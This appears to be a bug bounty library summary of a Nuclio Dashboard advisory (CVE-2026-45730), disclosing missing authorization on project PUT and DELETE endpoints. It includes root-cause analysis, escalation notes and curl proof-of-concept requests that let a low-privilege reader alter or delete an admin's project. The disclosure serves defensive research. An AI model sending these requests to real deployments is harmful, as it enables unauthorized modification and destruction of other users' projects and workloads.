# Nuclio: Missing authorization on project write paths allows any authenticated user to modify or delete any project

Nuclio Dashboard write paths omitted MemberIds in PermissionOptions, short-circuiting OPA so any authenticated user could modify or delete any project.

- Payout: Research
- Severity: high
- Program: Nuclio
- Found by: j311yl0v3u, b0b0haha
- Disclosed: 2026-06-04
- CVE: CVE-2026-45730
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-m8xg-8xg9-mxhm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m8xg-8xg9-mxhm
- Tags: area:cloud domain:api domain:cloud impact:dos impact:integrity kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** Nuclio Dashboard project management API (PUT /api/projects/{id}, DELETE /api/projects)
**Root cause:** Write handlers construct PermissionOptions without MemberIds, and FilterProjectsByPermissions returns early when MemberIds is empty, skipping OPA entirely; Kubernetes platform UpdateProject/DeleteProject never call OPA.
**Steps:**
1. Start dashboard with iguazio auth and OPA config; admin creates project `vul001-poc-project` via `POST /api/projects` (201).
2. Reader `GET /api/projects` returns `{}` — OPA filter_allowed invoked and denies.
3. Reader sends `PUT /api/projects/vul001-poc-project` with body `{"metadata":{"name":"vul001-poc-project","namespace":"test-ns"},"spec":{"description":"MODIFIED_BY_LOW_PRIV_READER"}}` — returns 204, no OPA call.
4. Admin GET confirms description changed to `MODIFIED_BY_LOW_PRIV_READER`.
5. Reader sends `DELETE /api/projects` with body `{"metadata":{"name":"vul001-poc-project","namespace":"test-ns"}}` — returns 204, no OPA call.
6. Admin GET returns 404, confirming deletion.
**How found:** Compared read path (project.go:87-90) which populates MemberIds via GetUserAndGroupIdsFromAuthSession against write paths (project.go:194, :686) that omit it; traced into FilterProjectsByPermissions short-circuit at platform.go:652 and noted ValidateDeleteProjectOptions inherits empty MemberIds, making it a false security check.
**Exploitation:** Any authenticated low-privilege user knowing a project name sends PUT or DELETE directly to the Dashboard API; no OPA query is made, so the write reaches the storage/Kubernetes layer and cascades to associated Functions, APIGateways and FunctionEvents.
**Escalation:** Modifying NuclioProject CRD fields like DefaultFunctionNodeSelector and DefaultFunctionPriorityClassName influences subsequent function deployments; deleting the CRD cascades to all child NuclioFunction/APIGateway resources.
**Insight:** When an authorization helper short-circuits on empty identity lists, grep every caller of that helper for PermissionOptions literals missing MemberIds — read/write handler asymmetry in the same file is the tell.

## Proof of concept (copied exactly from the original report)

**Reader exploits PUT to modify admin's project**

```
curl -s -o /dev/null -w "%{http_code}" \
  -X PUT \
  -H "Authorization: reader-token" \
  -H "x-nuclio-namespace: test-ns" \
  -H "Content-Type: application/json" \
  "http://localhost:8070/api/projects/vul001-poc-project" \
  -d '{"metadata":{"name":"vul001-poc-project","namespace":"test-ns"},"spec":{"description":"MODIFIED_BY_LOW_PRIV_READER"}}'
```

**Reader exploits DELETE to delete admin's project**

```
curl -s -o /dev/null -w "%{http_code}" \
  -X DELETE \
  -H "Authorization: reader-token" \
  -H "x-nuclio-namespace: test-ns" \
  -H "Content-Type: application/json" \
  http://localhost:8070/api/projects \
  -d '{"metadata":{"name":"vul001-poc-project","namespace":"test-ns"}}'
```

**Admin creates test project for PoC**

```
curl -s -o /dev/null -w "%{http_code}" \
  -X POST http://localhost:8070/api/projects \
  -H "Authorization: admin-token" \
  -H "x-nuclio-namespace: test-ns" \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"vul001-poc-project","namespace":"test-ns"},"spec":{"description":"Original description by admin"}}'
```

